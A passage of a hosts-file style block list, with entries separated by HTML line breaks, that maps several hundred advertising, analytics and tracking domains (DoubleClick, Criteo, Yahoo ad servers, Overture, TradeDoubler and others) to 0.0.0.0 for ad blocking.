hit.clickaider.com<br />0.0.0.0 astw.adgear.com<br />0.0.0.0 dstw.adgear.com<br />0.0.0.0 d.adgear.com<br />0.0.0.0 adgear.com<br />0.0.0.0 www.adgear.com<br />0.0.0.0 cdn.adgear.com<br />0.0.0.0 o.adgear.com<br />0.0.0.0 js.hubspot.com<br />0.0.0.0 track.hubspot.com<br />0.0.0.0 tracking.hubspot.com<br />0.0.0.0 s0kdl.castup.net<br />0.0.0.0 switch6.castup.net<br />0.0.0.0 s3fdl.castup.net<br />0.0.0.0 switch2.castup.net<br />0.0.0.0 switch3.castup.net<br />0.0.0.0 s3rdl.castup.net<br />0.0.0.0 switch5.castup.net<br />0.0.0.0 s3kdl.castup.net<br />0.0.0.0 switch1.castup.net<br />0.0.0.0 switch4.castup.net<br />0.0.0.0 switch248-01.castup.net<br />0.0.0.0 cdn.media6degrees.com<br />0.0.0.0 map.media6degrees.com<br />0.0.0.0 cspix.media6degrees.com<br />0.0.0.0 action.media6degrees.com<br />0.0.0.0 secure.media6degrees.com<br />0.0.0.0 media6degrees.com<br />0.0.0.0 mojiva.com<br />0.0.0.0 img.ads2.mojiva.com<br />0.0.0.0 www.mojiva.com<br />0.0.0.0 ads.mojiva.com<br />0.0.0.0 img.ads3.mojiva.com<br />0.0.0.0 req.mojiva.com<br />0.0.0.0 img.ads.mojiva.com<br />0.0.0.0 img.ads1.mojiva.com<br />0.0.0.0 img.ads4.mojiva.com<br />0.0.0.0 img.ads5.mojiva.com<br />0.0.0.0 analytics.admob.com<br />0.0.0.0 mmv.admob.com<br />0.0.0.0 mm.admob.com<br />0.0.0.0 admob.com<br />0.0.0.0 a.admob.com<br />0.0.0.0 jp.admob.com<br />0.0.0.0 c.admob.com<br />0.0.0.0 p.admob.com<br />0.0.0.0 mm1.vip.sc1.admob.com<br />0.0.0.0 r.admob.com<br />0.0.0.0 media.admob.com<br />0.0.0.0 static.beintoo.com<br />0.0.0.0 sandbox-elb.beintoo.com<br />0.0.0.0 content.ad20.net<br />0.0.0.0 core.ad20.net<br />0.0.0.0 zp.veegao.com<br />0.0.0.0 ad.veegao.com<br />0.0.0.0 adv-adserver.com<br />0.0.0.0 www.adv-adserver.com<br />0.0.0.0 dis.criteo.com<br />0.0.0.0 widget.be.eu.criteo.com<br />0.0.0.0 dis.ny.us.criteo.com<br />0.0.0.0 dis.eu.criteo.com<br />0.0.0.0 www.criteo.com<br />0.0.0.0 ld2.criteo.com<br />0.0.0.0 dis.us.criteo.com<br />0.0.0.0 dis.sv.us.criteo.com<br />0.0.0.0 sapatoru.widget.criteo.com<br />0.0.0.0 rta.criteo.com<br />0.0.0.0 widget.criteo.com<br />0.0.0.0 cas.criteo.com<br />0.0.0.0 rtax.criteo.com<br />0.0.0.0 widget.fr.eu.criteo.com<br />0.0.0.0 dap.criteo.com<br />0.0.0.0 cdn.doubleverify.com<br />0.0.0.0 rtb3.doubleverify.com<br />0.0.0.0 rtbcdn.doubleverify.com<br />0.0.0.0 log10.doubleverify.com<br />0.0.0.0 ads.app-authority.com<br />0.0.0.0 www.app-authority.com<br />0.0.0.0 ad.app-authority.com<br />0.0.0.0 app.app-authority.com<br />0.0.0.0 app-authority.com<br />0.0.0.0 content.app-authority.com<br />0.0.0.0 ad.admixer.net<br />0.0.0.0 1.marketbanker.com<br />0.0.0.0 www.marketbanker.com<br />0.0.0.0 2.marketbanker.com<br />0.0.0.0 3.marketbanker.com<br />0.0.0.0 marketbanker.com<br />0.0.0.0 tw.ad.adon.vpon.com<br />0.0.0.0 cn.ad.adon.vpon.com<br />0.0.0.0 fw.vpon.com<br />0.0.0.0 medad.vpon.com<br />0.0.0.0 tw.api.vpon.com<br />0.0.0.0 beta.vpon.com<br />0.0.0.0 www.vpon.com<br />0.0.0.0 rcad.adon.vpon.com<br />0.0.0.0 cn.api.vpon.com<br />0.0.0.0 ads.aim4media.com<br />0.0.0.0 ad.aim4media.com<br />0.0.0.0 adtest.aim4media.com<br />0.0.0.0 my.aim4media.com<br />0.0.0.0 artwork.aim4media.com<br />0.0.0.0 aim4media.com<br />0.0.0.0 www.aim4media.com<br />0.0.0.0 evo5-com-netmining.netmining.com<br />0.0.0.0 nl-moneyou.netmining.com<br />0.0.0.0 controlroom.netmining.com<br />0.0.0.0 lmdemo.netmining.com<br />0.0.0.0 nl-saab.netmining.com<br />0.0.0.0 www214.paypopup.com<br />0.0.0.0 www9.paypopup.com<br />0.0.0.0 www1.paypopup.com<br />0.0.0.0 www2.paypopup.com<br />0.0.0.0 creative.paypopup.com<br />0.0.0.0 www216.paypopup.com<br />0.0.0.0 www221.paypopup.com<br />0.0.0.0 www5.paypopup.com<br />0.0.0.0 www219.paypopup.com<br />0.0.0.0 banner.paypopup.com<br />0.0.0.0 www10.paypopup.com<br />0.0.0.0 www6.paypopup.com<br />0.0.0.0 www3.paypopup.com<br />0.0.0.0 www8.paypopup.com<br />0.0.0.0 popunder.paypopup.com<br />0.0.0.0 www217.paypopup.com<br />0.0.0.0 central2.paypopup.com<br />0.0.0.0 www4.paypopup.com<br />0.0.0.0 www211.paypopup.com<br />0.0.0.0 paypopup.com<br />0.0.0.0 www21.paypopup.com<br />0.0.0.0 www220.paypopup.com<br />0.0.0.0 www215.paypopup.com<br />0.0.0.0 www218.paypopup.com<br />0.0.0.0 www7.paypopup.com<br />0.0.0.0 www.paypopup.com<br />0.0.0.0 central.paypopup.com<br />0.0.0.0 www210.paypopup.com<br />0.0.0.0 www212.paypopup.com<br />0.0.0.0 www213.paypopup.com<br />0.0.0.0 gcirm.clarionledger.gcion.com<br />0.0.0.0 gcirm.courier-journal.gcion.com<br />0.0.0.0 gcirm.theleafchronicle.gcion.com<br />0.0.0.0 gcirm.greenvilleonline.gcion.com<br />0.0.0.0 gcirm.honoluluadvertiser.gcion.com<br />0.0.0.0 gcirm.thestarpress.gcion.com<br />0.0.0.0 gcirm.guampdn.gcion.com<br />0.0.0.0 gcirm.lsj.gcion.com<br />0.0.0.0 gcirm.californianonline.gcion.com<br />0.0.0.0 gcirm.dailyrecord.gcion.com<br />0.0.0.0 gcirm.pensacolanewsjournal.gcion.com<br />0.0.0.0 gcirm.dmregister.gcion.com<br />0.0.0.0 gcirm.dnj.gcion.com<br />0.0.0.0 gcirm.delmarvanow.gcion.com<br />0.0.0.0 gcirm.greatfallstribune.gcion.com<br />0.0.0.0 gcirm.mydesert.gcion.com<br />0.0.0.0 gcirm.jconline.gcion.com<br />0.0.0.0 gcirm.montgomeryadvertiser.gcion.com<br />0.0.0.0 gcirm.baxterbulletin.gcion.com<br />0.0.0.0 gcirm.centralohio.gcion.com<br />0.0.0.0 gcirm.tucson.gcion.com<br />0.0.0.0 gcirm.usaweekend.gcion.com<br />0.0.0.0 gcirm.argusleader.gcion.com<br />0.0.0.0 gcirm.statesmanjournal.gcion.com<br />0.0.0.0 gcirm.pressconnects.gcion.com<br />0.0.0.0 gcirm.burlingtonfreepress.gcion.com<br />0.0.0.0 gcirm.tallahassee.gcion.com<br />0.0.0.0 gcirm.gannett-tv.gcion.com<br />0.0.0.0 gcirm.flatoday.gcion.com<br />0.0.0.0 gcirm.coloradoan.gcion.com<br />0.0.0.0 gcirm.hattiesburgamerican.gcion.com<br />0.0.0.0 gcirm.indystar.gcion.com<br />0.0.0.0 gcirm.dmp.gcion.com<br />0.0.0.0 gcirm.thedailyjournal.gcion.com<br />0.0.0.0 atpco.ur.gcion.com<br />0.0.0.0 gcirm.wisinfo.gcion.com<br />0.0.0.0 gcirm.thejournalnews.gcion.com<br />0.0.0.0 gcirm.jacksonsun.gcion.com<br />0.0.0.0 gcirm.stargazette.gcion.com<br />0.0.0.0 gcirm.ozarksnow.gcion.com<br />0.0.0.0 gcirm.courierpostonline.gcion.com<br />0.0.0.0 gcirm.press-citizen.gcion.com<br />0.0.0.0 gcirm.thespectrum.gcion.com<br />0.0.0.0 gcirm.thetimesherald.gcion.com<br />0.0.0.0 gcirm.azcentral.gcion.com<br />0.0.0.0 gcirm.cincinnati.gcion.com<br />0.0.0.0 gcirm.newsleader.gcion.com<br />0.0.0.0 gcirm.mconetwork.gcion.com<br />0.0.0.0 gannett.gcion.com<br />0.0.0.0 gcirm.injersey.gcion.com<br />0.0.0.0 gcirm.laregionalonline.gcion.com<br />0.0.0.0 gcirm.delawareonline.gcion.com<br />0.0.0.0 gcirm.tennessean.gcion.com<br />0.0.0.0 gcirm.rgj.gcion.com<br />0.0.0.0 gcirm.c-n.gcion.com<br />0.0.0.0 gcirm.news-press.gcion.com<br />0.0.0.0 gcirm.visaliatimesdelta.gcion.com<br />0.0.0.0 gcirm.sctimes.gcion.com<br />0.0.0.0 gcirm.pal-item.gcion.com<br />0.0.0.0 gcirm.poughkeepsiejournal.gcion.com<br />0.0.0.0 gcirm.citizen-times.gcion.com<br />0.0.0.0 gcirm.theithacajournal.gcion.com<br />0.0.0.0 gcirm.battlecreekenquirer.gcion.com<br />0.0.0.0 gcirm.democratandchronicle.gcion.com<br />0.0.0.0 valuead.com<br />0.0.0.0 oin.valuead.com<br />0.0.0.0 axxessads.valuead.com<br />0.0.0.0 yahooads.valuead.com<br />0.0.0.0 moads.valuead.com<br />0.0.0.0 ads.valuead.com<br />0.0.0.0 videodetectivenetwork.valuead.com<br />0.0.0.0 vdn.valuead.com<br />0.0.0.0 reduxads.valuead.com<br />0.0.0.0 pmads.valuead.com<br />0.0.0.0 banners.valuead.com<br />0.0.0.0 ac2.valuead.com<br />0.0.0.0 adsignal.valuead.com<br />0.0.0.0 redux.valuead.com<br />0.0.0.0 hrads.valuead.com<br />0.0.0.0 media2.popuptraffic.com<br />0.0.0.0 www.popuptraffic.com<br />0.0.0.0 media.popuptraffic.com<br />0.0.0.0 stats.popuptraffic.com<br />0.0.0.0 popuptraffic.com<br />0.0.0.0 pool.adhsm.adhese.com<br />0.0.0.0 pool.nrc.adhese.com<br />0.0.0.0 ads.nrc.adhese.com<br />0.0.0.0 ads.adhsm.adhese.com<br />0.0.0.0 pool.sanoma.adhese.com<br />0.0.0.0 adserver.outpersonals.com<br />0.0.0.0 ads.outpersonals.com<br />0.0.0.0 banners.outpersonals.com<br />0.0.0.0 voken.eyereturn.com<br />0.0.0.0 resources.eyereturn.com<br />0.0.0.0 timespent.eyereturn.com<br />0.0.0.0 pda.mv.bidsystem.com<br />0.0.0.0 social.bidsystem.com<br />0.0.0.0 feedx.bidsystem.com<br />0.0.0.0 socpixel.bidsystem.com<br />0.0.0.0 cxpixel.bidsystem.com<br />0.0.0.0 bspixel.bidsystem.com<br />0.0.0.0 mv.bidsystem.com<br />0.0.0.0 chapdyn.bidsystem.com<br />0.0.0.0 efp.ns3.bidsystem.com<br />0.0.0.0 kc.mv.bidsystem.com<br />0.0.0.0 atl.mv.bidsystem.com<br />0.0.0.0 tagline.bidsystem.com<br />0.0.0.0 ads.chango.com<br />0.0.0.0 www.chango.com<br />0.0.0.0 d.chango.com<br />0.0.0.0 as.chango.com<br />0.0.0.0 adunit.chango.com<br />0.0.0.0 chango.com<br />0.0.0.0 p.chango.com<br />0.0.0.0 oversee.d.chango.com<br />0.0.0.0 c.chango.com<br />0.0.0.0 adserver.juicyads.com<br />0.0.0.0 juicyads.com<br />0.0.0.0 mobile.juicyads.com<br />0.0.0.0 ads.juicyads.com<br />0.0.0.0 redir.juicyads.com<br />0.0.0.0 fill.juicyads.com<br />0.0.0.0 xapi.juicyads.com<br />0.0.0.0 www.juicyads.com<br />0.0.0.0 adbutler.com<br />0.0.0.0 imgserv.adbutler.com<br />0.0.0.0 cluster.adultadworld.com<br />0.0.0.0 partners.adultadworld.com<br />0.0.0.0 cluster3.adultadworld.com<br />0.0.0.0 newt1.adultadworld.com<br />0.0.0.0 hippo.adultadworld.com<br />0.0.0.0 textads.adultadworld.com<br />0.0.0.0 tigershark.adultadworld.com<br />0.0.0.0 adverserve.net<br />0.0.0.0 austria1.adverserve.net<br />0.0.0.0 syndication.traffichaus.com<br />0.0.0.0 ads.traffichaus.com<br />0.0.0.0 click.atdmt.com<br />0.0.0.0 c.atdmt.com<br />0.0.0.0 analytics.atdmt.com<br />0.0.0.0 ll.atdmt.com<br />0.0.0.0 image.atdmt.com<br />0.0.0.0 api.atdmt.com<br />0.0.0.0 switch.atdmt.com<br />0.0.0.0 h.atdmt.com<br />0.0.0.0 spe.atdmt.com<br />0.0.0.0 view.atdmt.com<br />0.0.0.0 spd.atdmt.com<br />0.0.0.0 srch.atdmt.com<br />0.0.0.0 atdmt.com<br />0.0.0.0 ec.atdmt.com<br />0.0.0.0 rmd.atdmt.com<br />0.0.0.0 clk.atdmt.com<br />0.0.0.0 vid.atdmt.com<br />0.0.0.0 adecn-w.atdmt.com<br />0.0.0.0 www.atdmt.com<br />0.0.0.0 cdn.flashtalking.com<br />0.0.0.0 servedby.flashtalking.com<br />0.0.0.0 flashtalking.com<br />0.0.0.0 stat.flashtalking.com<br />0.0.0.0 video.flashtalking.com<br />0.0.0.0 ph.affinity.com<br />0.0.0.0 ck.ads.affinity.com<br />0.0.0.0 brandreachsys.com<br />0.0.0.0 rkcache.brandreachsys.com<br />0.0.0.0 adbucks.brandreachsys.com<br />0.0.0.0 adbcache.brandreachsys.com<br />0.0.0.0 media.brandreachsys.com<br />0.0.0.0 adc.brandreachsys.com<br />0.0.0.0 fe.brandreachsys.com<br />0.0.0.0 lg1.brandreachsys.com<br />0.0.0.0 mad2.brandreachsys.com<br />0.0.0.0 impfi.tradedoubler.com<br />0.0.0.0 anet.tradedoubler.com<br />0.0.0.0 tracker.tradedoubler.com<br />0.0.0.0 impnl.tradedoubler.com<br />0.0.0.0 hstit.tradedoubler.com<br />0.0.0.0 tbl.tradedoubler.com<br />0.0.0.0 anetit.tradedoubler.com<br />0.0.0.0 clk.tradedoubler.com<br />0.0.0.0 anetlt.tradedoubler.com<br />0.0.0.0 citrix.tradedoubler.com<br />0.0.0.0 impbe.tradedoubler.com<br />0.0.0.0 hstfr.tradedoubler.com<br />0.0.0.0 tradedoubler.com<br />0.0.0.0 wrap.tradedoubler.com<br />0.0.0.0 impat.tradedoubler.com<br />0.0.0.0 pf.tradedoubler.com<br />0.0.0.0 imppl.tradedoubler.com<br />0.0.0.0 impcz.tradedoubler.com<br />0.0.0.0 impie.tradedoubler.com<br />0.0.0.0 anetdk.tradedoubler.com<br />0.0.0.0 anetch.tradedoubler.com<br />0.0.0.0 implt.tradedoubler.com<br />0.0.0.0 img.tradedoubler.com<br />0.0.0.0 hst.tradedoubler.com<br />0.0.0.0 clkde.tradedoubler.com<br />0.0.0.0 impit.tradedoubler.com<br />0.0.0.0 impfr.tradedoubler.com<br />0.0.0.0 clkuk.tradedoubler.com<br />0.0.0.0 hstpl.tradedoubler.com<br />0.0.0.0 impde.tradedoubler.com<br />0.0.0.0 impgb.tradedoubler.com<br />0.0.0.0 impch.tradedoubler.com<br />0.0.0.0 imp.tradedoubler.com<br />0.0.0.0 hstes.tradedoubler.com<br />0.0.0.0 hstgb.tradedoubler.com<br />0.0.0.0 hstde.tradedoubler.com<br />0.0.0.0 hstus.tradedoubler.com<br />0.0.0.0 impse.tradedoubler.com<br />0.0.0.0 hstno.tradedoubler.com<br />0.0.0.0 impdk.tradedoubler.com<br />0.0.0.0 impes.tradedoubler.com<br />0.0.0.0 anetfi.tradedoubler.com<br />0.0.0.0 impno.tradedoubler.com<br />0.0.0.0 anetse.tradedoubler.com<br />0.0.0.0 tbs.tradedoubler.com<br />0.0.0.0 impru.tradedoubler.com<br />0.0.0.0 cdn.mdotm.com<br />0.0.0.0 ads.mdotm.com<br />0.0.0.0 mdotm.com<br />0.0.0.0 ads.gtsads.com<br />0.0.0.0 engine.gtsads.com<br />0.0.0.0 gtsads.com<br />0.0.0.0 geoip.gtsads.com<br />0.0.0.0 new.gtsads.com<br />0.0.0.0 nimages.gtsads.com<br />0.0.0.0 static.cdn.gtsads.com<br />0.0.0.0 images.gtsads.com<br />0.0.0.0 fcc.adjuggler.com<br />0.0.0.0 rotator.adjuggler.com<br />0.0.0.0 thunderbolt.adjuggler.com<br />0.0.0.0 img6.cdn.adjuggler.com<br />0.0.0.0 image.adjuggler.com<br />0.0.0.0 traffic.adjuggler.com<br />0.0.0.0 img1.adjuggler.com<br />0.0.0.0 www.adjuggler.com<br />0.0.0.0 adjuggler.com<br />0.0.0.0 rotator.its.adjuggler.com<br />0.0.0.0 image.dex.adjuggler.com<br />0.0.0.0 img1.cdn.adjuggler.com<br />0.0.0.0 rotator.dex.adjuggler.com<br />0.0.0.0 app.crowdscience.com<br />0.0.0.0 www.crowdscience.com<br />0.0.0.0 crowdscience.com<br />0.0.0.0 static.crowdscience.com<br />0.0.0.0 ping.crowdscience.com<br />0.0.0.0 ads.flagads.net<br />0.0.0.0 ads2.flagads.net<br />0.0.0.0 countus2.editeurjavascript.com<br />0.0.0.0 countus4.editeurjavascript.com<br />0.0.0.0 countus.editeurjavascript.com<br />0.0.0.0 countus1.editeurjavascript.com<br />0.0.0.0 countus3.editeurjavascript.com<br />0.0.0.0 ad1.nend.net<br />0.0.0.0 c.lunarads.com<br />0.0.0.0 www.lunarads.com<br />0.0.0.0 lunarads.com<br />0.0.0.0 ads1.chitika.net<br />0.0.0.0 scripts.chitika.net<br />0.0.0.0 ca.chitika.net<br />0.0.0.0 blogads.chitika.net<br />0.0.0.0 parking.chitika.net<br />0.0.0.0 ads.chitika.net<br />0.0.0.0 chitika.net<br />0.0.0.0 mm.chitika.net<br />0.0.0.0 images1.azoogleads.com<br />0.0.0.0 images-cdn.azoogleads.com<br />0.0.0.0 www.azoogleads.com<br />0.0.0.0 images.azoogleads.com<br />0.0.0.0 azoogleads.com<br />0.0.0.0 cdn.triggertag.gorillanation.com<br />0.0.0.0 cms.springboard.gorillanation.com<br />0.0.0.0 cdn.springboard.gorillanation.com<br />0.0.0.0 survey.questionmarket.com<br />0.0.0.0 www.questionmarket.com<br />0.0.0.0 ch.questionmarket.com<br />0.0.0.0 amch.questionmarket.com<br />0.0.0.0 questionmarket.com<br />0.0.0.0 bannerfarm.ace.advertising.com<br />0.0.0.0 secure.ace-tag.advertising.com<br />0.0.0.0 dbs.advertising.com<br />0.0.0.0 servedby.advertising.com<br />0.0.0.0 wap.advertising.com<br />0.0.0.0 ace-lb.advertising.com<br />0.0.0.0 demo.advertising.com<br />0.0.0.0 ace.advertising.com<br />0.0.0.0 opera1-servedby.advertising.com<br />0.0.0.0 adserve.advertising.com<br />0.0.0.0 leadback.advertising.com<br />0.0.0.0 ace-tag.advertising.com<br />0.0.0.0 r1.ace.advertising.com<br />0.0.0.0 secure.leadback.advertising.com<br />0.0.0.0 rd.advertising.com<br />0.0.0.0 p.ace.advertising.com<br />0.0.0.0 uac.advertising.com<br />0.0.0.0 advertising.com<br />0.0.0.0 www.advertising.com<br />0.0.0.0 beta.ace.advertising.com<br />0.0.0.0 admedia.com<br />0.0.0.0 b.admedia.com<br />0.0.0.0 m.admedia.com<br />0.0.0.0 inline.admedia.com<br />0.0.0.0 g.admedia.com<br />0.0.0.0 click08.aditic.net<br />0.0.0.0 click06.aditic.net<br />0.0.0.0 ad.aditic.net<br />0.0.0.0 click02.aditic.net<br />0.0.0.0 click13.aditic.net<br />0.0.0.0 click01.aditic.net<br />0.0.0.0 click07.aditic.net<br />0.0.0.0 click11.aditic.net<br />0.0.0.0 click14.aditic.net<br />0.0.0.0 click10.aditic.net<br />0.0.0.0 click05.aditic.net<br />0.0.0.0 click09.aditic.net<br />0.0.0.0 click03.aditic.net<br />0.0.0.0 click04.aditic.net<br />0.0.0.0 click12.aditic.net<br />0.0.0.0 cus.adsmogo.net<br />0.0.0.0 req.adsmogo.com<br />0.0.0.0 req.adsmogo.net<br />0.0.0.0 cfg.adsmogo.net<br />0.0.0.0 clk.adsmogo.com<br />0.0.0.0 imp.adsmogo.net<br />0.0.0.0 cus.adsmogo.com<br />0.0.0.0 cfg.adsmogo.com<br />0.0.0.0 imp.adsmogo.com<br />0.0.0.0 clk.adsmogo.net<br />0.0.0.0 my.adsmogo.com<br />0.0.0.0 pn2.adserver.yahoo.com<br />0.0.0.0 nl.adserver.yahoo.com<br />0.0.0.0 adserver.yahoo.com<br />0.0.0.0 pa.yahoo.com<br />0.0.0.0 mx.adserver.yahoo.com<br />0.0.0.0 tw2.adserver.yahoo.com<br />0.0.0.0 ar.adserver.yahoo.com<br />0.0.0.0 cookex.amp.yahoo.com<br />0.0.0.0 de.adserver.yahoo.com<br />0.0.0.0 srv2.wa.marketingsolutions.yahoo.com<br />0.0.0.0 cn2.adserver.yahoo.com<br />0.0.0.0 eu-pn3.adserver.yahoo.com<br />0.0.0.0 hk.adserver.yahoo.com<br />0.0.0.0 sg.adserver.yahoo.com<br />0.0.0.0 ts.richmedia.yahoo.com<br />0.0.0.0 ypn-js.ysm.yahoo.com<br />0.0.0.0 eu-pn2.adserver.yahoo.com<br />0.0.0.0 au.adserver.yahoo.com<br />0.0.0.0 pclick.internal.yahoo.com<br />0.0.0.0 a.analytics.yahoo.com<br />0.0.0.0 europe.adserver.yahoo.com<br />0.0.0.0 gr.adserver.yahoo.com<br />0.0.0.0 row.bc.yahoo.com<br />0.0.0.0 eu-pn1.adserver.yahoo.com<br />0.0.0.0 adjax.flickr.yahoo.com<br />0.0.0.0 nz.adserver.yahoo.com<br />0.0.0.0 pn1.adserver.yahoo.com<br />0.0.0.0 in.adserver.yahoo.com<br />0.0.0.0 promotions.yahoo.com<br />0.0.0.0 y.analytics.yahoo.com<br />0.0.0.0 tw.adserver.yahoo.com<br />0.0.0.0 srv3.wa.marketingsolutions.yahoo.com<br />0.0.0.0 360.yahoo.com<br />0.0.0.0 marketingsolutions.yahoo.com<br />0.0.0.0 ads.finance.yahoo.com<br />0.0.0.0 uk.adserver.yahoo.com<br />0.0.0.0 srv1.wa.marketingsolutions.yahoo.com<br />0.0.0.0 no.adserver.yahoo.com<br />0.0.0.0 us.adserver.yahoo.com<br />0.0.0.0 eu-pn1.ard.yahoo.com<br />0.0.0.0 be.adserver.yahoo.com<br />0.0.0.0 cn.adserver.yahoo.com<br />0.0.0.0 eu-pn4.adserver.yahoo.com<br />0.0.0.0 ads.auctions.yahoo.com<br />0.0.0.0 launch.adserver.yahoo.com<br />0.0.0.0 br.adserver.yahoo.com<br />0.0.0.0 s.analytics.yahoo.com<br />0.0.0.0 ae.adserver.yahoo.com<br />0.0.0.0 ca.adserver.yahoo.com<br />0.0.0.0 geo.yahoo.com<br />0.0.0.0 promo.yahoo.com<br />0.0.0.0 visit.webhosting.yahoo.com<br />0.0.0.0 www.promotions.yahoo.com<br />0.0.0.0 se.adserver.yahoo.com<br />0.0.0.0 ad.yahoo.com<br />0.0.0.0 tw.rc.webmaster.yahoo.com<br />0.0.0.0 es.adserver.yahoo.com<br />0.0.0.0 dk.adserver.yahoo.com<br />0.0.0.0 count.3721.yahoo.com<br />0.0.0.0 advision.webevents.yahoo.com<br />0.0.0.0 fr.adserver.yahoo.com<br />0.0.0.0 it.adserver.yahoo.com<br />0.0.0.0 tw.js.webmaster.yahoo.com<br />0.0.0.0 analytics.yahoo.com<br />0.0.0.0 cm.it.kataweb.overture.com<br />0.0.0.0 cm.npc-calkins.overture.com<br />0.0.0.0 rc.us-west.srv.overture.com<br />0.0.0.0 cm.npc-gatehouse.overture.com<br />0.0.0.0 cm.br.clickgratis.overture.com<br />0.0.0.0 cm.npc-scripps.overture.com<br />0.0.0.0 rc10.overture.com<br />0.0.0.0 cm.au.thewest.overture.com<br />0.0.0.0 cm.comedycentral.overture.com<br />0.0.0.0 cm.eu.guardian.overture.com<br />0.0.0.0 cm.npc-nydn.overture.com<br />0.0.0.0 cm.jp.overture.com<br />0.0.0.0 overture.com<br />0.0.0.0 html.overture.com<br />0.0.0.0 cm.tw.overture.com<br />0.0.0.0 cm.au.msn.overture.com<br />0.0.0.0 cm.cmt.overture.com<br />0.0.0.0 cmk.tw.yahoo.overture.com<br />0.0.0.0 dmxml.smartname.overture.com<br />0.0.0.0 html.imeem.overture.com<br />0.0.0.0 cm.npc-mcclatchy.overture.com<br />0.0.0.0 data3.perf.overture.com<br />0.0.0.0 cm.npc-medianews.overture.com<br />0.0.0.0 cm.npc-nacutah.overture.com<br />0.0.0.0 rc23.overture.com<br />0.0.0.0 cm.west.yahoo.overture.com<br />0.0.0.0 cm.ivillage.overture.com<br />0.0.0.0 ypn-js.overture.com<br />0.0.0.0 cm.npc-philly.overture.com<br />0.0.0.0 www61.overture.com<br />0.0.0.0 cm.uk.independent.overture.com<br />0.0.0.0 inventory.overture.com<br />0.0.0.0 cm.npc-paddock.overture.com<br />0.0.0.0 cmh.tw.yahoo.overture.com<br />0.0.0.0 cm.atomfilms.overture.com<br />0.0.0.0 ypn-jscs.overture.com<br />0.0.0.0 cm.quizilla.overture.com<br />0.0.0.0 rc.us-east.srv.overture.com<br />0.0.0.0 cm.npc-lee.overture.com<br />0.0.0.0 cm.ibs.overture.com<br />0.0.0.0 xml.weather.overture.com<br />0.0.0.0 cm.npc-suntimes.overture.com<br />0.0.0.0 www5.overture.com<br />0.0.0.0 www7.overture.com<br />0.0.0.0 data2.perf.overture.com<br />0.0.0.0 cm.vh1.overture.com<br />0.0.0.0 srv.perf.overture.com<br />0.0.0.0 cm.uk.overture.com<br />0.0.0.0 cm.npc-nytimes.overture.com<br />0.0.0.0 xml.overture.com<br />0.0.0.0 www9.overture.com<br />0.0.0.0 cm.weather.overture.com<br />0.0.0.0 cmx.tw.yahoo.overture.com<br />0.0.0.0 cmh.hk.overture.com<br />0.0.0.0 cm.guardian.overture.com<br />0.0.0.0 ctxtads.overture.com<br />0.0.0.0 perf.overture.com<br />0.0.0.0 cm.mtv.overture.com<br />0.0.0.0 cm.addictinggames.overture.com<br />0.0.0.0 cm.npc-cox.overture.com<br />0.0.0.0 cm.npc-hearst.overture.com<br />0.0.0.0 cm.de.overture.com<br />0.0.0.0 rc12.overture.com<br />0.0.0.0 cmls.eu.overture.com<br />0.0.0.0 cm.spiketvifilm.overture.com<br />0.0.0.0 www60.overture.com<br />0.0.0.0 cmls.overture.com<br />0.0.0.0 data.wa.perf.overture.com<br />0.0.0.0 cm.cbsnews.overture.com<br />0.0.0.0 redir.overture.com<br />0.0.0.0 cm.webmd.overture.com<br />0.0.0.0 xml.ivillage.overture.com<br />0.0.0.0 cm.npc-morris.overture.com<br />0.0.0.0 www1.perf.overture.com<br />0.0.0.0 www10.overture.com<br />0.0.0.0 data4.perf.overture.com<br />0.0.0.0 ac.ybinst3.ec.yimg.com<br />0.0.0.0 ybinst9.ec.yimg.com<br />0.0.0.0 ads.yimg.com<br />0.0.0.0 ybinst7.ec.yimg.com<br />0.0.0.0 ybinst2.ec.yimg.com<br />0.0.0.0 a32.g.a.yimg.com<br />0.0.0.0 ac.ybinst7.ec.yimg.com<br />0.0.0.0 sec.yimg.com<br />0.0.0.0 us.yimg.com<br />0.0.0.0 ybinst8.ec.yimg.com<br />0.0.0.0 ac.ybinst6.ec.yimg.com<br />0.0.0.0 ac.ybinst5.ec.yimg.com<br />0.0.0.0 ac.ybinst9.ec.yimg.com<br />0.0.0.0 ac.ybinst2.ec.yimg.com<br />0.0.0.0 ybinst1.ec.yimg.com<br />0.0.0.0 ac.ybinst4.ec.yimg.com<br />0.0.0.0 ac.ybinst0.ec.yimg.com<br />0.0.0.0 ybinst6.ec.yimg.com<br />0.0.0.0 us.a1.yimg.com<br />0.0.0.0 eur.a1.yimg.com<br />0.0.0.0 richmedia.yimg.com<br />0.0.0.0 ybinst3.ec.yimg.com<br />0.0.0.0 ybinst4.ec.yimg.com<br />0.0.0.0 ac.ybinst1.ec.yimg.com<br />0.0.0.0 ybinst0.ec.yimg.com<br />0.0.0.0 ybinst5.ec.yimg.com<br />0.0.0.0 us.a2.yimg.com<br />0.0.0.0 ac.ybinst8.ec.yimg.com<br />0.0.0.0 www.2529.com<br />0.0.0.0 e.mbm.cn.miaozhen.com<br />0.0.0.0 service.ad.duomi.com<br />0.0.0.0 ir.doubleclick.net<br />0.0.0.0 ad.terra.doubleclick.net<br />0.0.0.0 ad.kw.doubleclick.net<br />0.0.0.0 ad.se.doubleclick.net<br />0.0.0.0 m.doubleclick.net<br />0.0.0.0 ad.sk.doubleclick.net<br />0.0.0.0 creatives.doubleclick.net<br />0.0.0.0 ad.ma.doubleclick.net<br />0.0.0.0 ad.za.doubleclick.net<br />0.0.0.0 ad.ae.doubleclick.net<br />0.0.0.0 ad.es.doubleclick.net<br />0.0.0.0 feedads.g.doubleclick.net<br />0.0.0.0 ad.kr.doubleclick.net<br />0.0.0.0 mediavisor.doubleclick.net<br />0.0.0.0 cm.g.doubleclick.net<br />0.0.0.0 ad.gr.doubleclick.net<br />0.0.0.0 ad.be.doubleclick.net<br />0.0.0.0 www3.doubleclick.net<br />0.0.0.0 ns1.doubleclick.net<br />0.0.0.0 iv.doubleclick.net<br />0.0.0.0 ad.my.doubleclick.net<br />0.0.0.0 ad.bg.doubleclick.net<br />0.0.0.0 www.doubleclick.net<br />0.0.0.0 ad.ve.doubleclick.net<br />0.0.0.0 pagead46.l.doubleclick.net<br />0.0.0.0 ad.ru.doubleclick.net<br />0.0.0.0 paypalssl.doubleclick.net<br />0.0.0.0 survey.g.doubleclick.net<br />0.0.0.0 ad.fi.doubleclick.net<br />0.0.0.0 ad.dk.doubleclick.net<br />0.0.0.0 ad.nl.doubleclick.net<br />0.0.0.0 dfp.doubleclick.net<br />0.0.0.0 motifcdn.doubleclick.net<br />0.0.0.0 ad.at.doubleclick.net<br />0.0.0.0 ad.mo.doubleclick.net<br />0.0.0.0 ad.doubleclick.net<br />0.0.0.0 n4052ad.doubleclick.net<br />0.0.0.0 ad.it.doubleclick.net<br 